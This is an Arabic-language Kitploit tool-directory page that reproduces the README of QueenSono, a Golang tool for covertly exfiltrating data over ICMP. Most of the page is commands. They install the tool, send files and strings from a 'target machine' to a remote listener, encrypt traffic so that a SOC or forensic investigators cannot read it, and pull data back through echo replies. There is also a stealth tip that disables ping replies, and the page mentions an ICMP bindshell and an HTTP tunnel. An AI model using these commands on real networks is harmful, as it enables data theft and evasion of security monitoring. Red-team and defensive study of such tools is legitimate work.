Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
QueenSono — ثنائي Golang لاستخراج البيانات باستخدام بروتوكول ICMP (+ ICMP bindshell, http عبر نفق ICMP, ...) | Kitploit
أدوات/GitHubGitHub/ariary/queensono
تسريب البياناتأمن الشبكاتاختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubariary/queensono

QueenSono

ثنائي Golang لاستخراج البيانات باستخدام بروتوكول ICMP (+ ICMP bindshell, http عبر نفق ICMP, ...)

عرض المستودع
16827منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

QueenSono تسريب البيانات عبر ICMP



حزمة Golang لتسريب البيانات باستخدام بروتوكول ICMP (الإصداران IPv4 وIPv6).

تعتمد أداة QueenSono فقط على حقيقة أن بروتوكول ICMP ليس مراقبًا. فهو شائع جدًا. يمكن استخدامها أيضًا داخل نظام يحتوي على فحص أساسي لـ ICMP (مثل مراقبة التردد وطول المحتوى) أو لتجاوز خطوة المصادقة مع البوابة المقيدة (المستخدمة في العديد من شبكات Wi-Fi العامة لمصادقة المستخدمين بعد الاتصال بشبكة Wi-Fi، مثل Wi-Fi المطارات). نحاول محاكاة PyExfil (وغيرها) مع فكرة أن الجهاز الهدف ليس بالضرورة مثبتًا عليه بايثون (لذا فإن توفير ملف ثنائي قد يكون مفيدًا)

تثبيتها · استخدامها · ملاحظات · طلب ميزة · 🎁

التثبيت

باستخدام curl

> من الإصدارات

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

باستخدام go

> عبر go install

تأكد من وجود $GOPATH في $PATH قبل ذلك

تثبيت qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # إعادة تسمية الملف الثنائي

تثبيت qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # إعادة تسمية الملف الثنائي

> تثبيت الملف الثنائي من المصدر

استنساخ المستودع وتنزيل التبعيات محليًا:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

لبناء مرسل حزمة ICMP qssender :

root@kitploit:~
build.queensono-sender

لبناء مستقبل حزمة ICMP qsreceiver :

root@kitploit:~
build.queensono-receiver

الاستخدام

qssender هو الملف الثنائي الذي سيرسل حزمة ICMP إلى المستمع، لذا فهو الملف الثنائي الذي يجب نقله إلى الجهاز الهدف.

qsreceiver هو المستمع على جهازك المحلي (أو أينما يمكنك استقبال حزمة ICMP).

يمكن العثور على جميع الأوامر والعلامات الخاصة بالملفات الثنائية باستخدام --help

مثال 1: إرسال مع "ACK" 🔙

> في هذا المثال نريد إرسال ملف كبير ومراقبة رد الصدى لتأكيد استلام الحزم (ACK).

عرض توضيحي

على الجهاز المحلي:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
شرح
  • -l 0.0.0.0 الاستماع على جميع الواجهات لحزم ICMP
  • -f received_bible.txt حفظ البيانات المستقبلة في ملف
  • -p إظهار شريط تقدم للبيانات المستقبلة
  • على الجهاز الهدف:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # تحميل ملف كبير (للمثال)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    شرح
  • send file لإرسال ملف (bible.txt هو الملف المعني)
  • -d 2 إرسال حزمة كل 2 ثانية
  • -l 0.0.0.0 عنوان الاستماع لـ رد الصدى
  • -r 10.0.0.92 عنوان الجهاز البعيد الذي يستمع عليه qsreceiver
  • -s 50000 حجم البيانات التي أريد إرسالها في كل حزمة
  • مثال 2: إرسال بدون "ACK" 🙈

    > في هذا المثال نريد إرسال رسالة دون انتظار رد الصدى (قد يكون مفيدًا في حال كان جدار الحماية الهدف يقوم بتصفية حزم ICMP الواردة)

    عرض توضيحي

    على الجهاز المحلي:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    شرح
  • receive truncated 1 لا ينتظر إلى أجل غير مسمى إذا لم نستلم جميع الحزم. (1 هو التأخير المستخدم مع qssender)

  • للتخفي يمكنك منع النواة من الرد على أي ping ICMP
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    على الجهاز الهدف:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    شرح
  • -N خيار عدم الرد (لا تنتظر رد الصدى)
  • مثال 3: إرسال بيانات مشفرة 🔒

    > في هذا المثال نريد إرسال رسالة مشفرة. نظرًا لأن سطر الأوامر قد يكون مراقبًا، نستخدم تشفيرًا غير متماثل (إذا تسرب المفتاح، فلن يكون مشكلة)

    عرض توضيحي

    على الجهاز المحلي:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    شرح
  • --encrypt استخدام تبادل التشفير. سيقوم بإنشاء مفتاح عام/خاص. سيستخدم qssender المفتاح العام لتشفير البيانات، والمفتاح الخاص يستخدم لفك تشفيرها مع receiver
  • على الجهاز الهدف:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    شرح
  • --key توفير مفتاح لتشفير البيانات. استخدم المفتاح المقدم من أمر qsreceiver
  • حول التشفير

    يستخدم تشفير RSA للحفاظ على سرية البيانات المتبادلة. قد يكون مفيدًا مثلاً لتجنب رؤية مركز العمليات الأمنية (SoC) للبيانات المتبادلة (أو التحقيق الجنائي) من خلال تحليل أساسي أو ببساطة للخصوصية.

    لكنه يأتي بتكلفة. اختيار التشفير غير المتماثل مدفوع بحقيقة أن مفتاح التشفير يُدخل في سطر الأوامر (وبالتالي يمكن استرجاعه بسهولة). لذلك، نقوم بتشفير البيانات بالمفتاح العام. بهذه الطريقة، إذا استعاد شخص ما مفتاح التشفير، فلن يكون من الممكن فك تشفير الرسالة. لكن المفتاح العام أصغر من الخاص، لذا فهو يشفر رسائل أصغر. أيضًا، إنه مكلف حسابيًا.

    نقطة أخرى، نظرًا لأننا نريد الحد من حجم البيانات/طلبات ping (لتجنب الكشف، الأخطاء، إلخ)، استخدم التشفير فقط عند الضرورة لأن حجم المخرجات للرسالة سيساوي (يجب أن يساوي) دائمًا حجم المعامل (جزء من المفتاح) وهو كبير.

    تحسين

    حاليًا، يتم تشفير الرسالة بأكملها ثم تقطيعها لإرسالها. على الجانب الآخر، ننتظر جميع الحزم (القطع)، ونعيد بناء رسالتنا ثم نفك تشفيرها. لكن هذا يعمل ⇔ إذا استلمنا جميع القطع، وإلا سيفشل فك التشفير.

    => يمكننا تشفير كل قطعة وفقًا لمعامل -s، بهذه الطريقة يمكننا فك تشفيرها بشكل منفصل.

    مثال 4: استقبال البيانات عبر رد الصدى ↩️

    > في هذا المثال، يرسل الجهاز المحلي البيانات عائدة إلى الهدف عبر ردود ICMP. مفيد عندما يكون ICMP الصادر من الهدف مصفى ولكن الهدف يمكنه استقبال ردود الصدى.

    على الجهاز المحلي:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    شرح
  • reply-send ينتظر محفزًا من qssender، ثم يرسل البيانات عائدة كردود ICMP
  • -l 0.0.0.0 الاستماع على جميع الواجهات لحزمة المحفز
  • -d 1 تأخير ثانية واحدة بين كل حزمة رد
  • على الجهاز الهدف:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    شرح
  • receive يرسل محفزًا إلى qsreceiver ويجمع البيانات من ردود ICMP الواردة
  • -l 0.0.0.0 عنوان الاستماع لردود ICMP الواردة
  • -r 10.0.0.92 عنوان الجهاز المحلي مع qsreceiver reply-send المنتظر
  • دعم IPv6

    تدعم QueenSono ICMPv6 بشكل شفاف. مرر عنوان IPv6 وسيتم الكشف عن البروتوكول تلقائيًا — لا حاجة لعلامات إضافية.

    على الجهاز المحلي:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    على الجهاز الهدف:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    شرح
  • -l :: الاستماع على جميع واجهات IPv6
  • -r fe80::1 عنوان IPv6 للجهاز البعيد — يؤدي إلى تفعيل ICMPv6 تلقائيًا
  • جميع الأوضاع (إرسال مع ACK، إرسال بدون ACK، مشفر، رد الصدى) تعمل بنفس الطريقة عبر IPv6.

    مكافأة

    انظر قسم hack لأشياء ممتعة مع QueenSono:

    • قوقعة مرتبطة باستخدام ICMP
    • نفق HTTP عبر ICMP

    ملاحظات

    • يعمل فقط على Linux (بسبب استخدام حزمة golang net icmp)
    • يحتاج إلى صلاحيات cap_net_raw
    • يدعم كلاً من IPv4 (ICMP) وIPv6 (ICMPv6) — يتم الكشف عنه تلقائيًا من العنوان
    • إذا كنت ترسل حزم ICMP فعليًا على جهازين مختلفين وتنتظر رد الصدى، تأكد من استخدام عنوان IP يمكن الوصول إليه عن بعد كعنوان استماع (لا تستخدم localhost أو ما يعادله)
    تنزيل الأداة